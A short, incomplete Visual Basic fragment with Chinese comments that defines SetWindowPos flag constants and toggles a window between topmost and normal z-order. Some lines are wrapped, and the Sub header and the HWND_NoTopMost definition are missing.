Const HWND_TopMost = -1 '最上
Const SWP_NoSize = &H1 'wFlags 参数
Const SWP_NoMove = &H2
Const SWP_NoZorder = &H4
Const SWP_ShowWindow = &H40
Const SWP_HideWindow = &H80
Dim nIn As Long
If InTop Then nIn = HWND_TopMost Else nIn =
HWND_NoTopMost
SetWindowPos nWnd, nIn, 0, 0, 0, 0, SWP_NoSize +
SWP_NoMove
End Sub。